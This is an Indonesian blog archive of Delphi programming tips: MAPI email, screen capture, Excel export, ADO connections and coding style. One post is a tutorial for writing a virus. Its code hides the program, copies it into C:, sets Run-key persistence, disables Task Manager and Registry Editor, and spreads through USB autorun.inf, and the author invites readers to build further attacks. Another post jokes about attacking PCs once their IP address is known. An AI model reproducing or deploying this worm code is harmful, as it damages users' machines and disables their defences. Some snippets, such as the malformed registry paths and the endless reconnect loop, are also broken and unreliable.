Tampilkan postingan dengan label Tips n Tricks. Tampilkan semua postingan
Tampilkan postingan dengan label Tips n Tricks. Tampilkan semua postingan

Rabu, 23 Januari 2013

Listing code Mengirim Email dengan Delphi

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
edtSubject: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
edtNamaPengirim: TEdit;
edtEmailPengirim: TEdit;
Label4: TLabel;
edtNamaPenerima: TEdit;
edtEmailPenerima: TEdit;
Label5: TLabel;
MemoMessage: TMemo;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses MAPI;

{$R *.dfm}

function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,
RecipientName, RecipientEMail: string): Integer;
var
Message: TMapiMessage;
lpSender, lpRecipient: TMapiRecipDesc;
FileAttach: TMapiFileDesc;
SM: TFNMapiSendMail;
MAPIModule: HModule;
begin
FillChar(Message, SizeOf(Message), 0);
with Message do
begin
if (Subject <> '') then
lpszSubject := PChar(Subject);
if (Body <> '') then
lpszNoteText := PChar(Body);
if (SenderEmail <> '') then
begin
lpSender.ulRecipClass := MAPI_ORIG;
if (SenderName = '') then
lpSender.lpszName := PChar(SenderEMail)
else
lpSender.lpszName := PChar(SenderName);
lpSender.lpszAddress := PChar(SenderEmail);
lpSender.ulReserved := 0;
lpSender.ulEIDSize := 0;
lpSender.lpEntryID := nil;
lpOriginator := @lpSender;
end;
if (RecipientEmail <> '') then
begin
lpRecipient.ulRecipClass := MAPI_TO;
if (RecipientName = '') then
lpRecipient.lpszName := PChar(RecipientEMail)
else
lpRecipient.lpszName := PChar(RecipientName);
lpRecipient.lpszAddress := PChar(RecipientEmail);
lpRecipient.ulReserved := 0;
lpRecipient.ulEIDSize := 0;
lpRecipient.lpEntryID := nil;
nRecipCount := 1;
lpRecips := @lpRecipient;
end
else lpRecips := nil;
if (FileName = '') then
begin
nFileCount := 0;
lpFiles := nil;
end
else
begin
FillChar(FileAttach, SizeOf(FileAttach), 0);
FileAttach.nPosition := Cardinal($FFFFFFFF);
FileAttach.lpszPathName := PChar(FileName);
nFileCount := 1;
lpFiles := @FileAttach;
end;
end;
MAPIModule := LoadLibrary(PChar(MAPIDLL));
if MAPIModule = 0 then
Result := -1
else
try
@SM := GetProcAddress(MAPIModule, 'MAPISendMail');
if @SM <> nil then
begin
Result := SM(0, Application.Handle, Message, MAPI_DIALOG or MAPI_LOGON_UI, 0);
end
else
Result := 1;
finally
FreeLibrary(MAPIModule);
end;
if Result <> 0 then
MessageDlg('Gagal mengirim email (' + IntToStr(Result) + ').', mtError, [mbOK], 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SendMail(edtSubject.Text,
MemoMessage.Text,
'',
edtNamaPengirim.Text, edtEmailPengirim.Text,
edtNamaPenerima.Text, edtEmailPenerima.Text);
end;

end.

Menghapus File ke Recycle Bin

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
FileOpStruc: TSHFileOpStruct;
s: PChar;
begin
s := 'C:\coba.txt';
with FileOpStruc do
begin
Wnd := 0;
wFunc := FO_DELETE;
pFrom := s;
fFlags := FOF_ALLOWUNDO
end;
SHFileOperation(FileOpStruc);
end;

end.

Minggu, 22 Mei 2011

Capture Gambar Desktop

Atau, yang biasa disebut screen capture. Di Delphi, agar tidak menurunkan kualitas gambar hasil capture/snapshot, biasanya digunakakn TBitmap untuk menampung hasilnya. Nanti baru diubah ke format gambar lain yang diinginkan.

Tiap-tiap window di Windows memiliki handlenya sendiri, berupa bilangan bulat bertipe Dword (4 byte). Dekstop pun adalah sebuah window. Bila kita mengetahui handle sebuah window, kita dapat mengambil device context-nya (DC) berupa sebuah handle lain bertipe HDC (Handle of Device Context). Dari handle DC inilah, kita dapat mengcopy isi DC tersebut ke Bitmap.

Delphi mempermudah kita mengakses dan mengelola DC dengan sebuah class bernama TCanvas. Di atas TCanvas ini kita dapat menggambar, membuat teks, membuat efek-efek visual, ataupun menyalin dari dan ke Canvas lain.

Berikut potongan kode untuk mengambil handle window Desktop, mengambil handle DC (HDC)-nya dan mengcopynya ke TBitmap, dan menampilkannya pada sebuah TImage di atas Form.

01 function TFMain.SnapDesktop: TBitmap;
02 var
03 DC: TCanvas;
04 HDesk: THandle;
05 HCanvas: HDC;
06 w, h: integer;
07 begin
08 HDesk := GetDesktopWindow;
09 RefreshDesktop;
10 DC:= TCanvas.Create;
11 Result := TBitmap.Create;
12 try
13 dc.Handle := GetWindowDC(hdesk);
14 w := Screen.Width;
15 h := Screen.Height;
16 Result.Width := w;
17 Result.Height := h;
18 BitBlt(Result.Canvas.Handle, 0,0,w, h, dc.Handle, 0, 0, SRCCOPY);
19 finally
20 DC.Free;
21 end;
22 end;

Pada kode di atas, kita temui beberapa fungsi:

GetDesktopWindow() untuk mengambil handle desktop Windows.
GetWindowDC(handleWindow) untuk mengambil handle device context, dalam hal ini desktop Windows.
BitBlt() untuk mengcopy isi sebuah device context (DC) ke device context lainnya. Dalam contoh di atas, mengcopy dari DC desktop ke DC Bitmap.

Fungsi SnapDesktop di atas mengembalikan sebuah instance Bitmap yang kemudian dapat ditampilkan ke TImage, di-save ke file, atau diubah ke format gambar lainnya. Dalam contoh ini, Bitmap diubah ke gambar JPG (TJPEGImage) dengan kode berikut:

1 jpg := TJPEGImage.Create;
2 try
3 jpg.Assign(VariabelBitmap);
4 jpg.SaveToFile(NamaFile);
5 finally
6 jpg.Free;
7 end;

Dalam contoh kode yang tersedia untuk didownload, juga tersedia sebuah fungsi untuk memotong gambar sehingga hanya bagian tertentu saja yang diambil.

Berikut tampilan contoh aplikasi:

WinSnap_delphi_snapshot_screen_captureWinSnap_startup_windows



Download

Silahkan download WinSnap:

WinSnap Binary – 730KB
WinSnap Binary (7Zipped) – 280KB
WinSnap Source (7Zipped) – 20KB

UPDATE:

WinSnap Binary + Source (7Zipped)
– 300KB. Telah ditambahkan fungsi snap window tertentu.

Rabu, 06 Oktober 2010

Mari belajar membuat virus... :D

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:

  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.

Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan:

Yang udah pasti, Delphi
Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam
Album Yovie & Nuno dan segelas teh panas ;)

Attack #1 - Menyembunyikan diri

Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create:

Application.ShowMainForm := False;

Attack #2 - Men-copy diri ke sistem

Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini:

CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False);

Attack #3 - Startup otomatis

Windows akan menjalankan program/script yang diletakkan pada:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
  • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
  • C:\Documents and Settings\[username]\Start Menu\Programs\Startup

Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.

uses
Registry;

var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
Reg.CloseKey;

Attack #4 - Disable tools bawaan Windows

Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!

uses
Registry;

var
Reg : TRegistry;

begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System', True);
Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
Reg.CloseKey;

Attack #5 - Menyebarkan diri ke flashdisk

Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\

var
Atr : TextFile;

begin
if FileExists('G:\autorun.inf')= False and
FileExists('G:\MyVirus.exe') = False then
begin
//virus belum men-copy dirinya, copy...
CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);

//tulis file autorun.inf
AssignFile(Atr, 'G:\autorun.inf');
ReWrite(Atr);
WriteLn(Atr, '[autorun]');
WriteLn(Atr, 'open=MyVirus.exe');
CloseFile(Atr);
end;
end;

Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

Rabu, 18 Agustus 2010

Mendapatkan IP Addres dari URL yang diberikan

Nah kawan, sekarang aku mau share dikit tenang delphi..
Kali ini aku mau buat aplikasi yang bisa memberitahukan kita IP seseorang, kan kalo udah tau IP seseorang kita bisa maen-maen dengan PC-nya.. hehehe

Langsung aja y.

uses
Winsock;


function IAddrToHostName(const IP: string): string;
var
i: Integer;
p: PHostEnt;
begin
Result := '';
i := inet_addr(PChar(IP));
if i <> u_long(INADDR_NONE) then
begin
p := GetHostByAddr(@i, SizeOf(Integer), PF_INET);
if p <> nil then Result := p^.h_name;
end
else
Result := 'Invalid IP address';
end;

Kamis, 05 Agustus 2010

Eksport Data Bag. II

Nah untuk bagian ke-2 ini saya akan menuliskan listing program uintuk meng-eksport data dari DBGrid ke Excel, jadi diharapkan aplikasi yang kawan buat hasil proses maupun output yang akan di cetak bisa di cetak kedalam excel..

Dan ini adalah listing nya..

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,comobj, StdCtrls, DB, DBTables, Grids, DBGrids;

type
TForm1 = class(TForm)
DataSource1: TDataSource;
DBGrid1: TDBGrid;
Table1: TTable;
Excel: TButton;
procedure ExcelClick(Sender: TObject);
private
{ Private declarations }
XlApp, XlBook, XlSheet, XlSheets, Range,chat : Variant; // Excel 97
WApp, Word : Variant; // Word 97

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ExcelClick(Sender: TObject);
var i,x:integer;

Sfile:string;
begin
// buka excel
XlApp := CreateOleObject('Excel.Application');
// tambahkan workbook
XlBook := XlApp.WorkBooks.Add;
// tambahkan worksheet
XlSheet := XlBook.worksheets.add;
//cetak header field dari dbgrid
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2,i+1].value:=dbgrid1.columns[i].Title.Caption;
end;
// transfer data ke excel
table1.First;
x:=1;
while not table1.Eof do
begin
for i:=0 to dbgrid1.FieldCount-1 do
begin
XlSheet.cells[2+x,i+1].value:=dbgrid1.Fields[i].Text;
end;
table1.Next;
inc(x);
end;

//menampilkan aplikasi //XlApp.visible:=true;

//script dibawah ini untuk dialog disimpan atau ditampilkan

if MessageDlg('Apakah hasil export ditampilkan..?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then
begin
MessageDlg('Hasil Ditampilkan', mtInformation,
[mbOk], 0);
XlApp.visible:=true;
end
else
//simpan ke file
begin
Sfile:= InputBox('Nama File', 'hasil export', 'c:\hasil.xls');
XlApp.ActiveWorkbook.SaveAs(sfile);
XlApp.visible:=true;
end


end;

end.


Simpel kan....?? Selamat mencoba..

Eksport Data Bag. I

Ok kawan,,untuk materi sekarang saya akan mencoba menjabarkan listing program untuk meng-eksport data dari komponen listview ke dalam excel..


uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,ComObj;


procedure TForm1.Button2Click(Sender: TObject);
var
xlapp, xlbook,XlSheet: OLEVariant;
baris,kolom,x,y:integer;
begin
xlapp := CreateOLEObject('Excel.Application');
xlbook := xlapp.Workbooks.Add;
XlSheet := XlBook.worksheets.add;
xlapp.Visible := True;
baris:=ListView1.Items.Count;
kolom:=3; // jumlah kolom listview

{Cetak judul kolom}
for x:=1 to 3 do
XlSheet.Cells[1,x].value:= ListView1.Columns[x-1].Caption;

for y:=0 to baris-1 do
for x:=1 to kolom do
begin
begin
if x=1 then
{cetak kolom pertama}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].Caption
else
{cetak kolom kedua dan seterusnya}
XlSheet.Cells[y+2,x].value := ListView1.Items.Item[y].SubItems[x-2];
end;
end;

end;

Kamis, 07 Januari 2010

Mengubah Background Toolbar Windows Explorer dgn Gambar Bitmap

Program ini menjelaskan tentang mengubah background toolbar windos Explorer dengan gambar bitmap. Yang dilakukan program ini sangat sederhana, yakni memberikan data value BackBitmapShell pada key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbat dan nilainya merupakan path file bitmap yang digunakan.
Pada Fom rancang 2 Button dan poperty Dialog dengan mengambil OpenPictureDialog, dan juga EditText

Ini Listing program selengkapnya

Procedure Tform1.Button1Click(Sender:TObject);
begin
if OpenPictureDialog1.Execute then
Edit1.Text:=OpenPicutreDialog1.FileName;
end;

Procedure Tfrom1.Button2Click(Sender:TObject);
var Register:Tregister;
begin
Register:=Tregister.create;
Register.RootKey:=HKEY_CURRENT_USER;
try
try
Register.OpenKey('\Software\Microsoft\Internet Explorer\'+ 'Toolbar',True);
Register.WriteString('BackBitmapShell',Edit1.Text);
ShowMessage('Berhasil mengubah background toolbar'+#13+'Untuk melihat hasilnya,buka'+
' "Windows Explorer" baru.');
Except on ERegistryException do
ShowMessage('Gagal mengubah background toolbar explorer');
end;
Finally
Register.CloseKey;
Register.Free;
end;

Selamat mencoba>>>

Senin, 02 Juni 2008

Membuat menu pada form melalui sistem

Halo semua....

Hari ini aku mau buka-bukan lagi ah.. rencananya hari ini aku mau buka2an about Adding Items In SYSTEM Menu.. ( Cieileh....sok inggris ya... )
Jadi materi hari ini kita sama2 belajar cara menambahkan menu items pada form. intinya ini sama aja dengan kita membuat main menu, tapi bedanya kali ini kita ga pake apa2 cm pake listing doang.. jadi bagi yang berminat download aj nc program yang ini.
Trus pelajarin dc, dijamin pasti bisa kok.. Selamat mencoba y...

Sabtu, 31 Mei 2008

Tips membuat Connection String pada ADO secara dinamis dengan menggunakan TRzRegIniFile

Beberapa hari tidak memberikan tips dan trik rasanya koq aneh dalam hidup ini. btw, nggak papa lah...hidup ini kan tidak bisa stabil, kadang merasa diatas dan kadang merasa dibawah. Baiklah, kali ini akan diberikan tips kepada temen-temen yang ingin belajar database pemrograman terutama yang ada hubungannya dengan ADO Connection.

Kemudian untuk database engine yang dijadikan sebagai acuan disini adalah database engine MS SQL Server.

Disini anda akan diajarkan gimana aplikasi secara otomatis akan melakukan proses koneksi ulang k server tanpa kita harus melakukan secara manual. Dengan demikian, program kita tidak akan terkesan murahan ketika koneksi gagal dilakukan langsung muncul error.

langsung saja kita kembali ke pokok permasalahan yaitu gimana kita akan membuat connection string secara dinamis dengan menggunakan bantuan database registry. Untuk mengakses database regsitry dengan mudah dan cepat, disini dibantu dengan menggunakan object TRzRegIniFile yang diambil dari component pallete Raize Widgets.

Sekarang silahkan anda lakukan langkah-langkah seperti dibawah ini:

1. Apabila anda belum membuat program Delphi, silahkan anda buka terlebih dahulu.
2. Kemudian buat program aplikasi baru dan berikan nama project "Project1"
3. Simpan program aplikasi tersebut didalam folder yang aman.
4. Setelah itu, silahkan anda tambahkan beberapa object seperti dibawah ini kedalam form:
- ADOConnection1
- RzRegIniFile1
5. Lanjutkan dengan mengatur settingan object-object tersebut. Silahkan anda atur dengan settingan seperti ditunjukkan dibawah ini.

Untuk ADOConnection1 :
- LoginPrompt = False
- untuk properties yang lain sifatnya adalah default

Untuk RzRegIniFile1
- Path = 'Software'
- PathType = ptRegistry
- untuk properties yang lain sifatnya adalah default

6. Jangan lupa untuk menambahkan library "ComObj" kedalam "uses". Untuk lebih jelas mengenai hal ini silahkan baca artikel ini
7. Sekarang silahkan pilih object "Form1"
8. Klik 2x object tersebut hingga dibuat procedure "FormCreate"
9. Kemudian silahkan anda isikan kode program didalam event tersebut seperti terlihat pada potongan kode program dibawah ini.

....
....
var
TeksKoneksi : String;
Password : String;
User : String;
Server : String;
Database : String;
TempStatus : String;
label
KoneksiUlang;
begin

// proses inisialisasi data variabel dari database registry
with RzRegIniFile1 do
begin
Password := ReadString('Config','Password','ekoindri');
User := ReadString('Config','User','sa');
Server := ReadString('Config','Server','(local)');
Database := ReadString('Config','Database','Aurecosoft - Business Small Accounting');
end;

// Memberikan inisialisasi data pada variabel TeksKoneksi
TeksKoneksi := 'Provider=SQLOLEDB.1;' +
'Password=%s;' +
'Persist Security Info=True;' +
'User ID=%s;' +
'Initial Catalog=%s;' +
'Data Source=%s';

// Proses pembuatan ConnectionString
KoneksiUlang:

// proses koneksi ke database server

try
TempStatus := 'Sukses';
Connected := True;
except
on EOleException do
begin
TempStatus := 'Gagal';
end;
end;

// Apabila proses keneksi gagal, maka sistem akan melakukan koneksi ulang ke server hingga berhasil
// jika anda ingin membatasi hingga 5 kali koneksi gagal atau n koneksi gagal akan menutup aplikasi,
// maka, anda bisa gunakan parameter tambahan yang gunanya untuk meng-counter. Apabila parameter
// tersebut jumlahnya sesuai dengan jumlah batas koneksinya, maka applikasi langsung di terminate.
// Silahkan hal tersebut anda coba sendiri dan jadikan latihan untuk mengembangkan kemampuan anda

if TempStatus = 'Gagal' then
goto KoneksiUlang;
end;
end;
....
....

10. Kemudian anda dapat meng-compile dan menjalankan program aplikasi tersebut dengan cara menekan tombol F9.
11. Tunggu beberapa saat hingga aplikasi benar2 siap jalan
12. Apabila Form1 muncul, itu artinya proses keneksi database telah berhasil dilakukan.
13. Sekali lagi, jangan lupa untuk menentukan data-data koneksinya didalam database registry.
14. Akan lebih baik, jika anda membuat aplikasi khusus yang tujuannya untuk memasukkan data konfigurasi database kedalam database registry, sehingga anda tidak perlu melakukan konfigurasi secara manual dengan membuka database registry.
15. Dari contoh diatas apabila sistem tidak menjumpai data konfigurasi database didalam databse registry, maka dia akan menggunakan data defaultnya. Untuk lebih jelasnya silahkan anda lihat potongan kode program dibawah ini.

....
....
with RzRegIniFile1 do
begin
Password := ReadString('Config','Password','ekoindri');
User := ReadString('Config','User','sa');
Server := ReadString('Config','Server','(local)');
Database := ReadString('Config','Database','Aurecosoft - Business Small Accounting');
end;
....
....

16. Semoga tips ini bisa berguna.

Silahkan anda berikan info ini kepada teman-teman anda yang lain agar mereka tidak kehilangan informasi yang mungkin sangat mereka butuhkan.


salam,


Hendrie

Sabtu, 24 Mei 2008

Tips menulis kode program dengan baik

Dalam menulis kode program seorang pemrogram seharusnya tidak hanya melihat dari sisi keefektifannya atau algoritma yang bagus saja atau mungkin kesederhanaan kode. Ada hal lain seperti estetika yang seharusnya juga dijadikan sebagai acuan bagi pemrogram.

Sebuah kode program yang ditulis dengan sudut pandang berbeda maka tentu akan mempengaruhi dalam hal perawatan atau perbaikan program. Sebuah kode program yangh ditulis apa adanya tanpa memandang sisi estetika, reusabilitas, dan konsistensi relatif akan lebih sulit perawatan atau perbaikannya.

Manfaat menulis program dengan baik antara lain :
1. Baris program menjadi lebih rapi
2. Alur program lebih enak dibaca
3. Memudahkan dalam melakukan tracking kesalahan atau bug
4. Memudahkan perawatan
5. Memudahkan programmer lain untuk memahami kodenya sehingga akan memudahkan bekerja dalam team

Hal-hal yang harus diperhatikan dalam menulis kode program antara lain :
1. Ikutilah standard dan style terbaru penulisan dari bahasa pemrograman tersebut bila ada, biasanya setiap bahasa pemrograman akan memiliki ciri khas sendiri.
2. Sebisa mungkin konsisten, misalnya dalam menulis nama variabel, nama objek, ukuran objek, perataan kode, penggunaan jenis huruf, case sensitive dll. Dalam hal ini kita bisa membuat semacam role of play atau aturan main dalam penulisan kode atau bisa juga dengan menggunakan standard penulisan kode yang sudah ada seperti Kioss Style yang diluncurkan kioss.com. Biasanya setiap software house memiliki aturan sendiri tentang standard ini.
3. Jangan abaikan komentar, karena sangat perlu untuk pengembangan atau perawatan program kedepannya, namun meskipun demikian tulislah komentar secara efisien, singkat tapi jelas. Karena panjangnya komentar justru akan mengurangi efektifitas dari baris program dan akan menambah besar memori
4. Pilihlah desain pattern atau algoritma program yang tepat dalam menyelesaikan suatu prosedur dalam program, hal ini jelas akan menambah efisiensi program.
5. Buatlah modul/procedure/fungsi dalam kode program agar kode program lebih enak dibaca dan alurnya terlihat jelas
6. Buatlah kode Anda tampil seksi dan cantik, dengan cara mengkombinasikan ke lima hal diatas.
Enjoy...

Trik Mengetahui Peminat atau Pengguna Delphi Melalui Google Trends

Google Trends, merupakan sebuah proyek dari google yang telah diimplementasikan untuk bisa digunakan oleh umum. Dengan Google Trends kita bisa mengetahui trend pencarian yang dilakukan oleh pengguna search engine google atas keyword atau kata kunci tertentu berdasarkan negara, bahasa, region dan waktu. Tools oogle Trennds bisa kita akses melalui alamat url http://google.com/trends

Dalam kasus untuk mengetahui pengguna delphi ini kita asumsikan dulu bahwa peminat atau pengguna delphi adalah orang yang pernah melakukan pencarian diInternet melalui Google dengan kata kunci Delphi, bisa juga Borland Delphi, yang penting ada Delphinya.


Sekarang kita masuk aja ke http://google.com/trends untuk mencobanya, masukkan kata kunci delphi dan tekan enter maka akan muncul analisisnya.

Pada saat saya melakukannya terlihat bahwa peminat atau bisa dibilang pengguna Delphi
semakin menurun dari tahun ketahun wah itu artinya Delphi sudah mau ditinggalkan? hehehe untuk yang itu saya gak bisa menyimpulkan, tanya aja pada ahlinya tapi kalo melihat kondisi sekarang sepertinya iya hhehe, apalagi beberapa waktu lalu terdengar bahwa Borland mau gulung tikar, tapi gak tahu kenapa kok gak jadi, apa cuman isu dooank.

Pada bagian bawah gambar ada juga 3 kolom daftar nama2 yaitu Region, Cities dan Languange yaitu daftar urutan 10 terbanyak pengguna atau peminat delphi berdasarkan Region(Wilayah),Cities(Kota), dan Languange(Bahasa). Dan Terlihat Indonesia mendominasai, berdasarkan Region, Indonesia menempati peringkat kedua setelah Russia. Berdasarkan Cities, jakarta menempati urutan kedua stelah Moscow. Serta berdasarkan Languange, B.Indonesia menempati urutan kedua setelah B. Rusia. Hal ini bisa jadi menunjukkan bahwa Indonesia adalah pengguna delphi terbesar didunia setelah Rusia.

Yang terlihat mengejutkan ternyata negara2 maju macam USA, Inggris, Perancis, dan Jepang tidak menempati satupun dari posisi 10 besar itu. Artinya trend dinegara2 tersebut bukan Delphi.

Lalu aku sempitkan sekarang pencarian untul lokal aku pingin tahu daerah mana atau propinsi mana yang punya peminat dan pengguna delphi. Dan terlihat ternyata pada Region, Jawatimur memuncaki pengguna/peminat Delphi terbanyak disusul Jawa Tengah, Jogja, Jabar, Bali dan Jakarta. Terus kalo berdasarkan kota terlihat bahwa Malang lah kota dengan peminta Delphi terbesar, disusul surabaya,semarang,yogya, bandung, denpasar,jakarta.

Keakuratan dari data ini memang tidak 100% vallid namun data ini tidak main2 karena googlelah yang melakukan riset jadi minimal bisa kita jadikan referensi ternyata Delphi tidak populer dibangsa2 barat / maju macam USA dan Inggris, namun justru berkembang di daerah2 yang "berseberangan dari barat tersebut" atau bangsa timur, macam Rusia,Indonesia,Cina

Pengguna Delphi diIndonesiapun ternyata juga sama yaitu daerah "timur" jawatimur lebih banyak penggunanya dibandingkan daerah "barat" jakarta maksudnya. Ini artinya software house yang menggunakan delphi untuk daerah jakarta tidak terlalu banyak, namun untuk daerah jogja, malang dan sekitarnya masih banyak. hehehe udah ya aku capek kesimpulannya terakhirnya Delphi ... terusin sendiri ah

Sabtu, 10 Mei 2008

Cara Instal Komponen Delphi

Artikel ini dihadirkan bukan untuk menggurui atau apapun. Ini hanya sekedar sharing ilmu yang ada. barangkali ada yang belum tau dan malu menanyakannya. Ada beberapa cara yang dapat digunakan. Saya contohkan untuk komponen yang sudah dipaket (Biar gampang, hehehehe…)

Caranya masuk ke program Delphi yang anda gunakan. Kemudian Klik File > Open File. Pada File of Type pilih yang berekstensi *.dpk. Buka aja itu file. Kemudian klik compile dan install. Ketika selesai proses akan ada tampilan bahwa komponen berhasil di-install.

Kemudian jangan lupa untuk menambahkan letak file komponen yang baru anda tambahkan barusan ke library delphi dengan cara klik Tools > Environtment Options > Library > Library Path. (agak lupa sie…. Tambahkan path directory komponen yang baru anda tambahkan ke daftar tersebut.

Saran saya, sebelum install komponen pindahkan dulu file anda di directory tempat Anda meng-install delphi\source. Misalnya C:\Program Files\Borland\Delphi 5.0\source\namakomponen

Sekian semoga bermanfaat dan tidak bingung…